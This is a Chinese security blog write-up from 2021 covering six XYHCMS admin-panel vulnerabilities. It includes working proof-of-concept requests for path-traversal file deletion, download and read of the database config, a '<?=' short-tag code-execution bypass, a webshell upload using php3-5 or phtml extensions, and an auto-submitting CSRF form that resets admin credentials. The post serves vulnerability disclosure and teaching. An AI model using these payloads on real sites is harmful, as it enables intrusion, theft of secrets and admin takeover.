XYHCMS漏洞

XYHCMS漏洞

英文:801词 | 中文:5065字

Posted by YY——阳阳 on August 3, 2021

作者:掌控安全-柚子

一.XYHCMS 3.2 后台任意文件删除

漏洞介绍

影响版本是XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。

漏洞分析

打开

/App/Manage/Controller/DatabaseController.class.php

文件。

锁定 delSqlFiles()函数。

fihehD.png

漏洞复现

1.进入后台

fihOvd.png

2.删除安装锁文件

方法一:get方式

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSq
lFiles/sqlfilename/..\\..\\..\\install/install.lock

方法二:post方式

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1

POST数据:key[]= ../../../install/install.lock

fi4dPO.png

3.接下来直接访问

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装cms

fi4ssA.png

二.XYHCMS 3.2 后台任意文件下载


漏洞介绍

影响版本是XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。

漏洞分析

找到

/App/Manage/Controller/DatabaseController.class.php文件。

锁定downfile()方法下载函数。

fi4cZt.png 这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造poc。

漏洞复现

1.进入后台页面。

fi42If.png

2.构造poc

http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip

fi4oss.png

3.数据库配置文件就下载下来了。

三.XYHCMS 3.5任意文件读取漏洞


环境准备

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html

fi4jWF.png

漏洞分析

漏洞文件位置:/App/Manage/Controller/TempletsController.class.php

第59-83行:

fi5ZSe.png

声明了3个变量:

$ftype 文件类型;

$fname 文件名;

$file_path 文件路径

这段代码对提交的参数进行处理,然后判断是否POST数据上来

如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

fi5KeI.png

通过这段代码,我们发现可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

问题就出现在这里,对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

我们可以通过GET方式提交fname参数,并且将fname进行base64编码,构造成完整的路径,读取配置文件信息。

####

漏洞复现

登录网站后台

数据库配置文件路径: \App\Common\Conf\db.php

fi58fS.png

我们将这段组成相对路径,......\App\Common\Conf\db.php,

然后进行base64编码,

Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

[POC]最后构造的链接如下:

http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

fi5YlQ.png

修复建议

  1. 取消base64解码,过滤.(点)等可能的恶意字符。

  2. 正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。

###

四.xyhcms 3.6 后台代码执行漏洞


漏洞描述

XYHCMS是一款开源的CMS内容管理系统。

XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。

代码中使用黑名单过滤<?php 却忘记过滤短标签,导致后台系统设置-网站设置处可使用短标签在站点表述处getshell。

漏洞分析

按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php 这个文件。

fi5ypF.png

找到对应功能看他是怎么控制的。

fi56l4.png

fi5gX9.png

很明显,我们要去找一个System相关的控制器。

这里可以锁定App/Manage/Controller/SystemController.class.php 这个文件。

fi55tK.png

if (stripos($data[$key], '<?php') !== false || preg_match($preg_param,$data[$key])) {                    $this->error('禁止输入php代码');                
    }

这里就是可以直接写入到php文件 ,而且我们可以看到他使用了黑名单禁止<?php写入

但是我们看到这里让开启了短标签,(PHP默认是开启PHP短标签的,即默认情况下short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的

漏洞复现

找到后台—系统设置—网站设置

fi5H6H.png

<?=phpinfo();?>

就可以很简单的绕过限制。

fi5bXd.png

修复方法

官方已经在最新版修复,简单粗暴的过滤

if (stripos($data[$key], '<?php') !== false || ($short_open_tag && stripos($data[$key], '<?') !== false) || preg_match($preg_param, $data[$key])) {    
    $this->error('禁止输入php代码');
}
即当开启短标签时过滤<?,使得我们的php写入失效。

五.XYHCMS 3.6 后台文件上传getshell


漏洞介绍

此漏洞的影响范围是XYHCMS 3.6。

漏洞形成原因是:对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)。

漏洞分析

找到

/App/Manage/Controller/SystemController.class.php文件中第246-255行代码

if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {                
    $data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
    $_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
    $_no_exts = array('php', 'asp', 'aspx', 'jsp');
    foreach ($_file_exts as $ext) {
        if (in_array($ext, $_no_exts)) {
            $this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');                    		}                
    }            
}

fiIdjH.png 会看到她不允许的文件后缀有:php,asp,aspx,jsp

我们可以通过这个思路,上传php3-5,phtml文件后缀的文件就能够绕过限制。

漏洞复现

1.进入后台

2.系统设置->网站设置->上传配置->允许附件类型

3.添加类型 php3或 php4或 php5 或 phtml

fiI64f.png

4.点击下面的 水印图片上传上传以上后缀shell

5.之后会在图片部分显示上传路径

fiI28S.png

六.XYHCMS 3.6 CSRF 漏洞

漏洞介绍

此版本存在一个csrf漏洞,可以更改管理员的任何信息(姓名、电子邮件、密码等)。

漏洞复现

poc:

<html>  
    <head>     
        <script>         
            function submit(){        
                var form = document.getElementById('test_form');            
                form.submit();
          
            }
        </script> 
    </head>  
    <body onload="submit()">

        
  
        <script>history.pushState('', '', '/')</script>   
        <form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST" id="test_form">
            <input type="hidden" name="id" value="3" />      
            <input type="hidden" name="username" value="test" />     
            <input type="hidden" name="password" value="qweqwe" />     
            <input type="hidden" name="department&#91;&#93;" value="1" />    
            <input type="hidden" name="department&#91;&#93;" value="4" />    
            <input type="hidden" name="department&#91;&#93;" value="3" />    
            <input type="hidden" name="group&#95;id&#91;&#93;" value="1" />    
            <input type="hidden" name="realname" value="13" />    
            <input type="hidden" name="email" value="aa&#64;test&#46;com" />    
            <input type="hidden" name="is&#95;lock" value="0" />   
        </form> 
    </body>
</html>

1.修改前如下图所示:

fiIvr9.png 2.打开 poc.html

3.修改后如下图所示:

fio8MQ.png